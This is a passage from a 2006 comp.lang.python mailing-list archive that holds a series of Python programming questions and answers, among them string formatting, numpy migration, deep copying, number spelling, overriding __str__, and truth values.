    fs = format(kwargs['argument'])
    return fs % kwargs



This works fine for positive and zero values:

>>> display(argument=0)
'blank'
>>> display(argument=1)
'something positive + 1'

but not for negative, due to the extra negative sign:

>>> display(argument=-1)
'something negative - -1'

Are there any string formatting codes that will place a space between the
sign and the number?



-- 
Steven



From johnnylee194 at gmail.com  Thu Oct 19 23:56:55 2006
From: johnnylee194 at gmail.com (Johnny)
Date: 19 Oct 2006 20:56:55 -0700
Subject: Default location while open an Excel file
In-Reply-To: <mailman.803.1161314667.11739.python-list@python.org>
References: <1161313718.200425.130220@i3g2000cwc.googlegroups.com>
	<mailman.803.1161314667.11739.python-list@python.org>
Message-ID: <1161316615.374926.299550@f16g2000cwb.googlegroups.com>



On Oct 20, 11:24 am, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> At Friday 20/10/2006 00:08, Johnny wrote:
>
> >doc.Workbooks.Open(excelFile, ReadOnly=True)
>
> >    But the problem is when I only pass the filename to the Open()
> >method, and of course the file is in the current directory, it will
> >throw an exception that the specified file can't be found. When I use
> >os.path.abspath(excelFile) instead, it works. But I do know that
> >somebody can only pass a filename, and no exception is raised. Now I
> >wonder is that because the "somebody" happen to put the file on the
> >default location of the Open() method? If so, does any one know the
> >default location?Why don't you want to use an absolute path? It's safe, will always
> work... What if Excel, for whatever reason, decides to start the Open
> dialog pointing to another location? What if your script does not
> have permission to write on such location?

Yes, I agree and willing to use abstract path. I only wonder what's
happending inside this method so that I can get more understanding of
the problem caused by passing an relative path in. :)

Regards, 
Johnny



From jgodoy at gmail.com  Tue Oct 10 07:11:17 2006
From: jgodoy at gmail.com (Jorge Godoy)
Date: Tue, 10 Oct 2006 08:11:17 -0300
Subject: People's names
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com>
	<mailman.199.1160475188.11739.python-list@python.org>
Message-ID: <87hcycl92i.fsf@gmail.com>

Steve Holden <steve at holdenweb.com> writes:

> It seems like some sort of free text search on a "full name" field looks like
> the only realistic globally-acceptable (?) option.

This is what we opted doing.  Normalization to this level wouldn't add much
since there are a lot of "Smith"s that aren't relatives.

If finding relatives is something you need to do, demand that the mother's
name be filled in and put an optional field for father's name.  Then compare
and ask if there's something between two people with the same mother /
father.  (Remember about people with the same name!  There are a lot of "John
Smith" or "Jos? da Silva" around :-))

-- 
Jorge Godoy      <jgodoy at gmail.com>


From irmen.NOSPAM at xs4all.nl  Wed Oct  4 17:06:45 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Wed, 04 Oct 2006 23:06:45 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <EfUUg.90$iP5.69@newsfe07.lga>
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga> <4oi4meFep2seU1@uni-berlin.de>
	<LnRUg.5$5H6.3@newsfe05.lga>
	<4523f44d$0$4528$e4fe514c@news.xs4all.nl>
	<EfUUg.90$iP5.69@newsfe07.lga>
Message-ID: <4524226b$0$4520$e4fe514c@news.xs4all.nl>

Edward K. Ream wrote:
>> Please consider adding some elements to the document itself that
> describe the desired output format,
> 
> Well, that's what the encoding field in the xml line was supposed to do. 

As others have tried to explain, the encoding in the xml header is
not part of the document data itself, it says something about the data.
It would be a bad design decision imo to rely on this meta information
if you really meant that information to be part of the data document.

> Not a bad idea though, except it changes the file format, and I would really 
> rather not do that.

XML allows you to easily skip any elements that you think you don't need.

--Irmen


From scott.daniels at acm.org  Sun Oct  1 15:51:46 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 12:51:46 -0700
Subject: Auto color selection PIL
In-Reply-To: <451b9e00$0$25777$4d3efbfe@news.sover.net>
References: <1159388996.482575.294460@h48g2000cwc.googlegroups.com>	<451b0c80$0$25785$4d3efbfe@news.sover.net>
	<mailman.862.1159421908.10491.python-list@python.org>
	<451b9e00$0$25777$4d3efbfe@news.sover.net>
Message-ID: <45201479$1@nntp0.pdx.net>

Leif K-Brooks wrote:
> Gabriel Genellina wrote:
>> Try this. It first chooses 0, 1/2, then 1/4, 3/4, then */8...
>> It's the best I could make if you don't know the number of colors 
>> beforehand. If you *do* know how many colors, your previous response 
>> is OK.

I've no better suggestion than either of you, _but_ note that in
choosing colors for keys it is generally considered better ergonomics
to vary more than simply the hue if you don't want to penalize the
colorblind.  Consider varying the other two parameters simultaneously
(perhaps in restricted ranges and varying orders); the contrast may be
more substantial even to a viewer with full color vision.

-- 
--Scott David Daniels
scott.daniels at acm.org


From bill.pursell at gmail.com  Wed Oct 18 15:12:26 2006
From: bill.pursell at gmail.com (Bill Pursell)
Date: 18 Oct 2006 12:12:26 -0700
Subject: unloading extension library
Message-ID: <1161198746.006021.261320@m7g2000cwm.googlegroups.com>

I've got a simple extension module that contains two functions:
void hi(void) __attribute__((constructor));
void hi(void) { printf("Hi!\n");}
void bye(void) __attribute__((destructor));
void bye(void) { printf("Bye!\n");}


When I run in the interpreter:

>>> import spam
Hi!
>>> del spam
>>>

Notice that the destructor isn't called.  How can I force python
to dlclose() the library and ensure that my destructors get called?


--
Bill Pursell



From http  Sun Oct  1 08:03:23 2006
From: http (Paul Rubin)
Date: 01 Oct 2006 05:03:23 -0700
Subject: Help me use my Dual Core CPU!
References: <mailman.348.1158066516.5279.python-list@python.org>
	<28ljt3-tcq.ln1@lairds.us> <450730C4.8020408@mvista.com>
	<mailman.405.1158107055.5279.python-list@python.org>
	<7x4pv753mq.fsf@ruckus.brouhaha.com>
	<1158622096.384055.215610@e3g2000cwe.googlegroups.com>
	<7xd59np3zy.fsf@ruckus.brouhaha.com>
	<451c25d6$0$24474$ed2e19e4@ptn-nntp-reader04.plus.net>
Message-ID: <7xejtsb5v8.fsf@ruckus.brouhaha.com>

Michael <ms at cerenity.org> writes:
> > But ordinary programmers write real-world applications with shared data
> > all the time, namely database apps.  
> 
> I don't call that shared data because access to the shared data is
> arbitrated by a third party - namely the database. I mean where 2 or
> more people[*] hold a lock on an object and share it - specifically
> the kind of thing you reference above as turning into a mess.

Ehhh, I don't see a big difference between having the shared data
arbitrated by an external process with cumbersome message passing,
or having it arbitrated by an in-process subroutine or even by support
built into the language.  If you can go for that, I think we agree on
most other points.


> > This is just silly, and wasteful of the
> > efforts of the hardworking chip designers

> Aside from the fact it's enabled millions of programmers to deal with
> shared data by communicating with a database?

Well, sure, but like spreadsheets, its usefulness is that it lets
people get non-computationally-demanding tasks (of which there are a
lot) done with relatively little effort.  More demanding tasks aren't
so well served by spreadsheets, and lots of them are using databases
running on massively powerful and expensive computers when they could
get by with lighter weight communications mechanisms and thereby get
the needed performance from much cheaper hardware.  That in turn would
let normal folks run applications that are right now only feasible for
relatively complex businesses.  If you want, I can go into why this is
important far beyond the nerdy realm of software geekery.

> For generator based components we collapse inboxes into outboxes
> which means all that's happening when someone puts a piece of data
> into an outbox, they're simply saying "I'm no longer going to use
> this", and the recipient can use it straight away.

But either you're copying stuff between processes, or you're running
in-process without multiprocessor concurrency, right?

> This is traditional-lock free,

> > Lately I've been reading about "software transactional memory" (STM),

> I've been hearing about it as well, but not digged into it....
> If you do dig out those STM references, I'd be interested :-)

They're in the post you responded to:

  http://lambda-the-ultimate.org/node/463
  http://research.microsoft.com/users/simonpj/papers/stm/

In particular, the one about the GHCI implementation is here:

 http://research.microsoft.com/users/simonpj/papers/stm/lock-free-flops06.pdf

The Wikipedia article is also informative:

  http://en.wikipedia.org/wiki/Transactional_memory


From MonkeeSage at gmail.com  Sat Oct  7 21:06:47 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 7 Oct 2006 18:06:47 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
Message-ID: <1160269607.522241.311160@m73g2000cwd.googlegroups.com>


On Oct 7, 7:41 pm, Steven D'Aprano
<s... at REMOVE.THIS.cybersource.com.au> wrote:
> Are you just making a philosophical point? In which case I agree: *if* you
> make the analogy "a dictionary key is analogous to a sequence index",
> *then* the operation of "in" isn't semantically analogous between mappings
> and sequences. But why should it be?

It shouldn't, and I'm making a pragmatic (not merely philosophic) point
regarding the OP's question whether there is a "similar" list method to
dict.has_key.

> In both mappings and sequences, "in" tests for membership. But *what* it
> tests for membership is different. There's no shame there.

I know / agree.

> Originally, if you wanted to
> test for key membership with a dict, you had three choices:

I know.

On Oct 7, 7:59 pm, Steven D'Aprano
<s... at REMOVE.THIS.cybersource.com.au> wrote:
> Because they aren't needed often, and when they are, they are easy to
> implement?

More often and easier to implement than dict.has_key / get?

> It is hard to see where list.get(index, default) would be useful, since
> accessing an index out of range of a list is generally an error, unlike
> accessing a missing key.

Uh, no. KeyError.

> But I like symmetry, and for symmetry I wouldn't
> object to sequences gaining a get method too. Not that I care about it
> enough to put in a feature request or a PEP, but if somebody else did, I
> wouldn't object.

Me neither. :)

> get() is easy enough to implement. Feel free to turn it into a method
> of a collection class if you like.

I already did, see previous posts.

> Not every piece of functionality needs to be a built-in.

Agreed. but why implement a certain functionality in one place but
leave it out of another?

Regards,
Jordan



From mikael at isy.liu.se  Mon Oct  2 11:12:58 2006
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Mon, 02 Oct 2006 17:12:58 +0200
Subject: How can I make a class that can be converted into an int?
In-Reply-To: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
References: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
Message-ID: <45212C7A.7040505@isy.liu.se>



Matthew Wilson wrote:
> What are the internal methods that I need to define on any class so that
> this code can work?
>
> c = C("three")
>
> i = int(c) # i is 3

 From Python Reference Manual, section 3.4.7 Emulating numeric types:

__complex__( self)
__int__( self)
__long__( self)
__float__( self)
     Called to implement the built-in functions complex(), int(), 
long(), and float(). Should return a value of the appropriate type.

/MiO


From http  Sun Oct  1 02:37:00 2006
From: http (Paul Rubin)
Date: 30 Sep 2006 23:37:00 -0700
Subject: changing numbers to spellings
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
	<1159679133.367507.286320@i42g2000cwa.googlegroups.com>
Message-ID: <7xwt7k5ypf.fsf@ruckus.brouhaha.com>

"MonkeeSage" <MonkeeSage at gmail.com> writes:
> If you need the actual names for like "Five Hundred and Sixty Seven", I
> think one of the smart people 'round here will have to help with that.
> I have some ideas, but I'm not very good at creating complex
> algorithms.

These kinds of things are generally most easily done with recursion.
================================================================

def spell(n):
    # return n spelled out in words
    if type(n) not in (int, long):
        raise ValueError, n
    if n == 0: return 'zero'
    return zspell(n)

def zspell(n):
    # return n (assumed integer) spelled out in words, with zero = empty string
    if n < 0:
        return 'minus ' + spell(-n)
    elif n == 0:
        return ''
    elif n < 20:
        return ('zero', 'one', 'two', 'three', 'four',
                'five', 'six', 'seven', 'eight', 'nine',
                'ten', 'eleven', 'twelve', 'thirteen', 'fourteen',
                'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen')[n]
    elif n < 100:
        a,b = divmod(n, 10)
        return '%s%s'% (('twenty', 'thirty', 'forty', 'fifty', 'sixty',
                          'seventy', 'eighty', 'ninety')[a-2],
                         ((b > 0) and '-'+zspell(b)) or '')
    elif n < 1000:
        return '%s hundred %s'% (zspell(n // 100), zspell(n % 100))
    elif n < 10**6:
        return '%s thousand %s'% (zspell(n // 1000), zspell(n % 1000))
    elif n < 10**66:
        def xillion(n, d=0):
            illions = ('m', 'b', 'tr', 'quadr', 'quint',
                       'sext', 'sept', 'oct', 'non', 'dec',
                       'undec', 'duodec', 'tredec', 'quattuordec', 'quinquadec',
                       'sextemdec', 'septemdec', 'octodec', 'novemdec', 'vigint')
            if n == 0: return ''
            elif n < 1000:
                return '%s %s'% \
                       (zspell(n),
                        illions[d] + 'illion')
            else:
                return '%s %s'% (xillion(n // 1000, d+1),
                                 xillion(n % 1000, d))
        return '%s %s' % (xillion(n // 10**6), zspell(n % 10**6))
    else:
        # I can't count that high!
        from math import log10
        ch,m = divmod(log10(n), 1.0)
        return '%fe%d'% (10.**m, int(ch))


From johnjsal at NOSPAMgmail.com  Thu Oct 19 12:00:03 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 19 Oct 2006 16:00:03 GMT
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <eh8708$nc7$1@solaris.cc.vt.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
Message-ID: <7iNZg.117$1n3.3352@news.tufts.edu>

rick wrote:
> Why can't Python have a reverse() function/method like Ruby?

I'm not steeped enough in daily programming to argue that it isn't 
necessary, but my question is why do you need to reverse strings? Is it 
something that happens often enough to warrant a method for it?


From mee at quidquam.com  Tue Oct 24 23:41:15 2006
From: mee at quidquam.com (Mike Erickson)
Date: Tue, 24 Oct 2006 22:41:15 -0500
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <20061025034115.GB1360@gray.mee>

* pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) wrote:
> Hello:
> I have next dictionaries:
> a={'a':0, 'b':1, 'c':2, 'd':3}
> b={'a':0, 'c':1, 'd':2, 'e':3}
> I want to put in a new dictionary named c all the keys that are in b
> and re-sequence the values. The result I want is:
> c={'a':0, 'c':1, 'd':2}
> How can I do this with one line of instruction?
> 
> I attempted the next but the output is not the expected:
> c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> erroneously (for me) gets:
> {'a': 0, 'c': 2, 'd': 3}

I am not 100% I understand your questions, but k,v are being pulled from
a, try:

c=dict([(k,b[k]) for v,k in enumerate(a) if b.has_key(k)])

mike



From will at willmcgugan.com  Mon Oct  2 07:21:08 2006
From: will at willmcgugan.com (Will McGugan)
Date: 2 Oct 2006 04:21:08 -0700
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
	<Xns98507A4715288duncanbooth@127.0.0.1>
Message-ID: <1159788068.306378.253270@m7g2000cwm.googlegroups.com>


Duncan Booth wrote:

> No it isn't Pythonic. Why not just require 3 values and move the
> responsibility onto the caller to pass them correctly? They can still use
> an iterator if they want:
>
>     Vector3D(a, b, c)
>     Vector3D(*some_iter)

I kind of liked the ability to partially use iterators. It would be
convenient for reading in from a file for example

f = file( "model.txt" )
v1 = Vector3D( f )
v2 = Vector3D( f )
v3 = Vector3D( f )

Which you couldnt do with a tuple, because the * syntac would attempt
to read the entire file (I think).

>
> Then your initialiser becomes:
>
> def __init__(self, x=0, y=0, z=0):
>     self.x, self.y, self.z = x, y, z
>
> much cleaner and also catches accidental use of iterators.
>
> Alternatively, insist on always getting exactly 0 or 1 arguments:
>
>     Vector3D((a,b,c))
>     Vector3D(some_iter)
>
> def __init__(self, (x, y, z)=(0,0,0)):
>     self.x, self.y, self.z = x, y, z
>
> which is great if you already have lots of 3-tuples, but a pain otherwise
> to remember to double the parentheses.

Hmm. Not keen on that for the reason you mentioned. For my particular
use case there would be a lot of Vector3D 'literals'.



From oliphant.travis at ieee.org  Wed Oct  4 03:39:34 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Wed, 04 Oct 2006 01:39:34 -0600
Subject: switching to numpy and failing, a user story
In-Reply-To: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
Message-ID: <efvods$lap$1@sea.gmane.org>

greg.landrum at gmail.com wrote:
> After using numeric for almost ten years, I decided to attempt to
> switch a large codebase (python and C++) to using numpy. Here's are
> some comments about how that went.
> 
> - The code to automatically switch python stuff over just kind of
> works. But it was a 90% solution, I could do the rest by hand. Of
> course, the problem is that then the code is still using the old
> numeric API, so it's not a long term solution. Unfortunately, to switch
> to the numpy API one needs documentation, which is a problem; see
> below.

I'm glad to hear of your experiences (good and bad).  We need feedback 
exactly from users like you in order to improve things.  Yep, the code 
converter is a 80% solution, but it does work.  Improvements are always 
welcome.

> 
> - Well, ok, the automatic switching code doesn't really work all that
> well... my uses of RandomArray still work, but they generate different
> numbers. The underlying random-number generator must have changed. I'm
> sure that it's "better" now, but it's different. This is a major pain
> for my regression tests that rely on seeding the random number
> generator and getting particular results. But that's ok, I can update
> the regressions for the new RNG.
>

You definitely can't expect the same random number generator.  The new 
one (thanks to Robert Kern) is quite good.


> - My extension modules just won't build because the new numpy stuff
> lives in a different location from where Numeric used to live.

This is an easy one and is documented in lots of places on the new 
http://www.scipy.org site.  Plus, people are always willing to help out 
if you just ask.  The numpy-discussion list is quite active.  Don't be 
shy.


> - I guess I should just buy the documentation. I don't like this idea,
> because I think it's counter-productive to the project to have payware
> docs (would Python be successful if you had to buy the documentation? I
> don't think so), but that's the way this project goes.

It's probably better to call it "complete documentation."  Normal 
open-source documentation is available from http://www.scipy.org.  There 
are lots of people who have helped it.  I had to do something to at 
least pretend to justify the time NumPy took me to the people who care 
about how I spend my time (including my family).   This was the best I 
could come up with.

  I'm doubly
> unhappy about it because they payment system is using Paypal and I
> don't like Paypal at all, but I guess that's just the way it goes. Oh,
> wait, I *can't* buy the docs because I'm not in the US and the payment
> page requires a US address.

Is that really true?  A lot of people not living in the U.S. have used 
Paypal successfully.  When difficulties arise, communicating with me 
your difficulty is usually productive.

  I give up; I guess NumPy is only for people living in the US.

Definitely not true.  People in Singapore, Japan, Ghana, South Africa, 
France, Germany, New Zealand, Australia, and many other countries are 
using NumPy successfully.  Gratefully, a few have contributed by buying 
the book, but a lot more have downloaded and are successfully using it.

I'm sorry about your experience, you definitely don't *have* to buy the 
book to use NumPy.  Just like you don't *have* to buy any Python book to 
use Python.  The amount of documentation for NumPy is growing and I 
expect that trend to continue.   There is a lot of information in the 
source file.

> 
> I guess I'll come back to NumPy in 2010, when the docs are available.
> 

Or just ask on the mailing lists, use the numpy.oldnumeric interface 
(the differences are all documented in the first few pages of my book 
which is available for free now).

Thanks,

-Travis



From bjobrien62 at gmail.com  Mon Oct 30 16:10:47 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 30 Oct 2006 13:10:47 -0800
Subject: scared about refrences...
In-Reply-To: <pan.2006.10.30.19.32.25.538858@gmx.net>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
Message-ID: <1162242647.481298.251320@b28g2000cwb.googlegroups.com>


Marc 'BlackJack' Rintsch wrote:
> In <1162236136.367603.165180 at b28g2000cwb.googlegroups.com>, SpreadTooThin
> wrote:
>
> > I'm really worried that python may is doing some things I wasn't
> > expecting... but lets see...
>
> Expect that Python never copies something if don't ask explicitly for a
> copy.
>
> > if I pass a list to a function def fn(myList):
> >
> > and in that function I modify an element in the list, then does the
> > callers list get modied as well.
> >
> > def fn(list):
> >    list[1] = 0
> >
> > myList = [1, 2, 3]
> > print myList
> > fn(myList)
> > print myList
> >
> >>>> [1,2,3]
> >>>> [1,0,3]
> >
> > How can I avoid this?  In this case this is a really simplified example
> > but the effects are the same...
>
> In this case:
>
> def fn(lst):
>     lst = list(lst)
>     lst[1] = 0
>
>
> > How do I specify or create deep copies of objects that may contain
> > other objects that may contain other object that may contain other
> > objects....
>
> See the `copy` module especially `copy.deepcopy()`.
>

This appears to be the right thing to do to me.. (but what do I know?)
I tried this which more closely resembles my project but this doesn't
work:

import array
import copy

class test:
    def __init__(self):
        self.a = array.array('H', [1, 2, 3])
        self.b = ['a', 'b', 'c']

    def dump(self):
        print self.a, self.b

t = test()
t.dump()

def testit(x):
    t = copy.deepcopy(x)
    t.a[1] = 0
    t.b[1] = 0
    
testit(t)

t.dump()



From ilias at lazaridis.com  Wed Oct 11 21:36:32 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 18:36:32 -0700
Subject: self (was: Python component model)
In-Reply-To: <egjm4b$io$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<egjm4b$io$1@online.de>
Message-ID: <1160616992.844994.15000@i42g2000cwa.googlegroups.com>

Peter Maas wrote:
> Paul Boddie wrote:
> > People who bring up stuff about self and indentation are just showing
> > their ignorance, in my opinion, since Python isn't the first language
> > to use self in such a way, and many C++ and Java programs use this
> > pervasively in order to make attribute scope explicit, whereas the
> > indentation matter is only troublesome with bad editing practices. I
> > don't think the community should spend any more time on these
> > criticisms.
>
> How many programmers don't use Python because of the self issue?
> I'm not for changing the semantics here but when I wrote a method with
> lots of selfs recently I tried how it would look like if it would be
> allowed not to write down 'self', i.e. from
>
> def deposit(self, amount):
>     self.balance = self.balance + amount
>
> to
>
> def deposit( , amount):
>     .balance = .balance + amount

would like this.

I finally liked pythons 'forced-indentation' thing, but 'self' is just
terrible.

def deposit(amount)
    .balance = .balance + amount # a little thin this dot
    @balance = @balance + amount # why not similar to ruby?

    self = <do this and that> # self remains available

but this will have most possibly major implications (design,
compatibility etc.)

possibly the simplest way would be to agree on 's' (typing is very
fast, faster than SHIFT-2 for @)

def deposit(s, amount)
    s.balance = s.balance + amount

so, python 2.6 = introduces agreement on 's' ?

this will never happen, but everyone is of course free to use 's'
instead of 'self' immedeately.

There's no problem (except possibly the tiny annoyancy when reading
through libraries which use 'self').

.

--
http://lazaridis.com



From ewijaya at i2r.a-star.edu.sg  Thu Oct 12 09:35:26 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Thu, 12 Oct 2006 21:35:26 +0800
Subject: Click and Drag Functionality in Web Apps with Python
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A06159B@mailbe01.teak.local.net>


Hi,
 
Some recent webapps like Kiko <http://www.kiko.com/> , Google's gadget <http://www.google.com/ig/directory?hl=en> , and spreadsheets <http://spreadsheets.google.com>  to name a few, 
have this functionality. 

I wonder how can this funcitonalities be implemented in Python. 
Do you guys have any experience with it?
Any Python module that support that?
 
Regards,
Edward WIJAYA
SINGAPOE

------------ Institute For Infocomm Research - Disclaimer -------------
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From jcoleman at franciscan.edu  Sun Oct 29 10:24:56 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 29 Oct 2006 07:24:56 -0800
Subject: Observation on "Core Python Programming"
Message-ID: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>

Greetings,
   My copy of the second edition of Chun's "Core Python Programming"
just arrived from Amazon on Friday. What really jumped out at me is an
interesting feature about how it sequences its topics, namely,
(user-defined) functions are not introduced until chapter 11, fully 400
pages into the book. This contrasts strongly with a traditional
"Introduction to language X" book which has a chapter sequence roughy
like:

Chapter 1) Intro - Hello World
Chapter 2) Variables
Chapter 3) If, if-else
Chapter 4) Loops
Chapter 5) Functions and/or subroutines

The exact details vary from book to book and language to language of
course, but usually the above topics are covered in the first 100-150
pages since it is hard to do anything interesting until all of these
tools are under your belt. Chun's book by contrast is able, on the
strength of Python's built-in functions, to cover a fair amount of
relatively interesting things (dictionaries, file IO, exception
handling, etc.) before introducing user-defined functions.

I don't want to read too much into this, but the mere fact that it is
possible to write a Python book in this fashion seems to confirm the
"batteries are included" philosophy of Python. Perhaps there is less
need to learn how to roll your own batteries as soon as possible.

-John Coleman



From fredrik at pythonware.com  Mon Oct 23 07:16:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 13:16:43 +0200
Subject: The Mythical Man-month's pdf file
References: <1161601019.237381.64840@m7g2000cwm.googlegroups.com>
Message-ID: <ehi8ar$8p0$1@sea.gmane.org>

<zzf818 at gmail.com> wrote:

> Does anyone have the .pdf file of the book THE MYTHICAL MAN-MONTH?

start here:

    http://www.amazon.com/dp/0201835959

</F> 





From no at spam.com  Sun Oct 22 14:14:41 2006
From: no at spam.com (Mike Krell)
Date: Sun, 22 Oct 2006 13:14:41 -0500
Subject: Problems trying to override __str__ on path class
Message-ID: <Xns98647267B6E82kojaklikescheerios@144.162.164.191>

I'm running into problems trying to override __str__ on the path class 
from Jason Orendorff's path module 
(http://www.jorendorff.com/articles/python/path/src/path.py).

My first attempt to do this was as follows:

'''
class NormPath(path):
    def __str__(self):
        return 'overridden __str__: ' + path.__str__(self.normpath())
'''

The problem is that the override is not invoked unless str() is called 
explictly, as indicated by the test program and its output below:

'''
from normpath import NormPath
np = NormPath('c:/mbk/test')
print 'np: "%s"' % np
print 'str(np): "%s"' % str(np)
print np / 'appendtest'


np: "c:/mbk/test"
str(np): "overridden __str__: c:\mbk\test"
c:/mbk/test\appendtest
'''

I suspect that the problem has to do with the base class of the path 
class being unicode because it works when I create dummy classes derived 
off of object.

My next attempt was to try delegation as follows:

'''
class NormPath(object):
    def __init__(self, *a, **k):
        self._path = path(*a, **k)

    def __str__(self):
        return 'overridden __str__: ' + str(self._path.normpath())

    def __getattr__(self, attr):
        print 'delegating %s...' % attr
        return getattr(self._path, attr)
'''

In this case the test program blows up with a TypeError when trying to 
invoke the / operator:

'''
np: "overridden __str__: c:\mbk\test"
str(np): "overridden __str__: c:\mbk\test"
-------------------------------------------------------------------------
exceptions.TypeError                                 Traceback (most 
recent call last)

e:\projects\Python\vc\nptest.py
      1 from normpath import NormPath
      2 np=NormPath('c:/mbk/test')
      3 print 'np: "%s"' % np
      4 print 'str(np): "%s"' % str(np)
----> 5 print np / 'appendtest'

TypeError: unsupported operand type(s) for /: 'NormPath' and 'str'
WARNING: Failure executing file: <nptest.py>
'''

Can someone explain these failures to me?  Also, assuming I don't want to 
modify path.py itself, is there any way to do what I'm trying to 
accomplish?  BTW, I'm running 2.4.2 under Windows.

Thanks in advance,
   Mike


From bruno at modulix.org  Wed Oct 11 16:12:10 2006
From: bruno at modulix.org (bruno de chez modulix en face)
Date: 11 Oct 2006 13:12:10 -0700
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <mailman.292.1160555871.11739.python-list@python.org>
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
	<mailman.292.1160555871.11739.python-list@python.org>
Message-ID: <1160597530.865379.20680@i3g2000cwc.googlegroups.com>


Theerasak Photha a ?crit :

> On 10/11/06, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
>
> > Now the real question : what if the object is not an instance of any of
> > the types, but still support the expected interface ?
>
> Perhaps:
>
> try:
>   for attribute in ['foo', 'bar', '__baz__']:
>     getattr(mystery_object, '__%s__' % attribute)
> except AttributeError:
>   # Do sumthin bout it

Isn't this a case of useless overcomplexification ? Since you end up
raising an exception, why not just assume the object is ok and let
Python raise the exception for you if it is not ? From the client code
POV, it doesn't make much difference !-)


> Is it wrong to 're-raise' an exception with application-specific
> details within an except clause?

Nope - as long as you provide more details (or more helpful details)
*and* do not loose/mask/whatever useful infos from the original
exception.



From webmaster at cacradicalgrace.org  Sat Oct 28 16:46:34 2006
From: webmaster at cacradicalgrace.org (J. Clifford Dyer)
Date: Sat, 28 Oct 2006 14:46:34 -0600
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org> <ehvba3$vr7$1@news.albasani.net>
Message-ID: <ei0fqr$skb$1@chiara.aioe.org>

Georg Brandl wrote:
> J. Clifford Dyer wrote:
> 
>>  >>> (1 > 0) < 1
>> False
>>  >>> 1 > 0 < 1
>> True
>>  >>> 1 > (0 < 1)
>> False
>>  >>> 10 > (0 < 1)
>> True
> 
> I hope you know why this works the way it does.
> 
> Georg

Yes, I do understand why it works.  I couldn't have crafted it if I 
didn't, but my point is that the reason why it works is not explainable 
if you believe that you are dealing with booleans.  It's only 
explainable if you recognize that you are actually dealing with 
integers, and specifically, 1 and 0.  So the something/nothing dichotomy 
